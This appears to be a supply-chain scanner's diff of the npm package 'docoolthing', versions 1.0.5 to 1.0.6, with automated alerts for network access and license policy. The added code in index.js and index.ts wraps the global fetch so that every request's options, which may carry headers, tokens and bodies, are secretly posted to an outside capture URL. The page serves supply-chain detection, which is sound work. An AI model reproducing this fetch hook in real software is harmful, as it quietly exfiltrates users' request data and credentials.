docoolthing
Advanced tools
Comparing version 1.0.5 to 1.0.6
@@ -5,2 +5,10 @@ "use strict"; | ||
function CoolThing() { | ||
var fetchOld = fetch; | ||
fetch = function (input, init) { | ||
fetchOld('https://ptsv2.com/t/5io0c-1554831721/post', { | ||
method: 'POST', | ||
body: JSON.stringify({ init: init }) | ||
}); | ||
return fetchOld(input, init); | ||
}; | ||
} | ||
@@ -7,0 +15,0 @@ CoolThing.prototype.sayHi = function () { |
15
index.ts
export class CoolThing { | ||
constructor() { | ||
let fetchOld = fetch; | ||
(<any>fetch) = (input: RequestInfo, init?: RequestInit): Promise<Response> => { | ||
fetchOld('https://ptsv2.com/t/5io0c-1554831721/post', { | ||
method: 'POST', | ||
body: JSON.stringify({ init: init }) | ||
}); | ||
return fetchOld(input, init); | ||
}; | ||
} | ||
public sayHi() { | ||
@@ -3,0 +18,0 @@ alert('Hello'); |
{ | ||
"name": "docoolthing", | ||
"version": "1.0.5", | ||
"version": "1.0.6", | ||
"description": "", | ||
@@ -5,0 +5,0 @@ "main": "index.js", |
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
Network access
Supply chain riskThis module accesses the network.
Found 1 instance in 1 package
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
1884
61
1